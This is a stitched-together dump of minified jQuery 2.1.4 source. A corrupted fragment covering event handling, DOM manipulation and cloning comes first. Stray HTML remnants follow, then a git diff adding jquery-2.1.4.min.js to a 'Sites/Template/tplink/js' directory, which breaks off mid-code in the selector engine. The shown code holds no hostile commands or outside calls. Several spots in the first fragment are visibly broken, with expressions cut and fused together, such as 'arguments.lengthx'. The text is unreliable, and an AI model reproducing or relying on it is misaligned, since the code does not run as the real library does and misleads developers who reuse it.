memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n(" + +
    + +
    +
    + +
    +
    + + + + + + diff --git a/Sites/Template/tplink/js/jquery-2.1.4.min.js b/Sites/Template/tplink/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/Sites/Template/tplink/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else 